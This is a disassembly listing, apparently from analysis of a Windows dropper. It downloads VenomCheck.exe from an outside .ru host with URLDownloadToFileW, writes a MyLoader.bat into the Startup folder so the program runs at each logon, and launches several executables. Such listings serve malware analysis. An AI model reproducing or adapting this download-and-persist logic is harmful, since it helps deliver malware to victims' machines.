lea r8, str.http:__cm02814.tw1.ru_bbbb_VenomCheck.exe
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rax, [rsp + 0x360]
mov dword [rsp + 0x28], 0x104
mov r9d, 0xffffffff
mov qword [rsp + 0x20], rax
lea r8, str.C:Program_FilesMyProgramVenomCheck.exe
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x360]
xor ecx, ecx
lea rdx, [rsp + 0x150]
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
lea rdx, [rsp + 0x40]
xor ecx, ecx
lea r8d, [r9 + 7]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea r8, str.MyLoader.bat
mov edx, 0x104
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea r8, [0x140003448]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
jne 0x140001359
mov rcx, qword [rsp + 0x30]
lea rdx, str._echo_off_n
call fcn.140001010
mov rcx, qword [rsp + 0x30]
lea r8, str.C:Program_FilesMyProgramVenomCheck.exe
lea rdx, str.start______s__n
call fcn.140001010
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rcx, str.C:Program_FilesMyProgram_bbbb.exe
call fcn.140001060
lea rcx, str.C:Program_FilesMyProgramCheckerV2.exe
call fcn.140001060
lea rcx, str.C:Program_FilesMyProgramVenomCheck.exe
call fcn.140001060
xor eax, eax
mov rcx, qword [rsp + 0x570]
xor rcx, rsp
call fcn.1400013b0
add rsp, 0x588
ret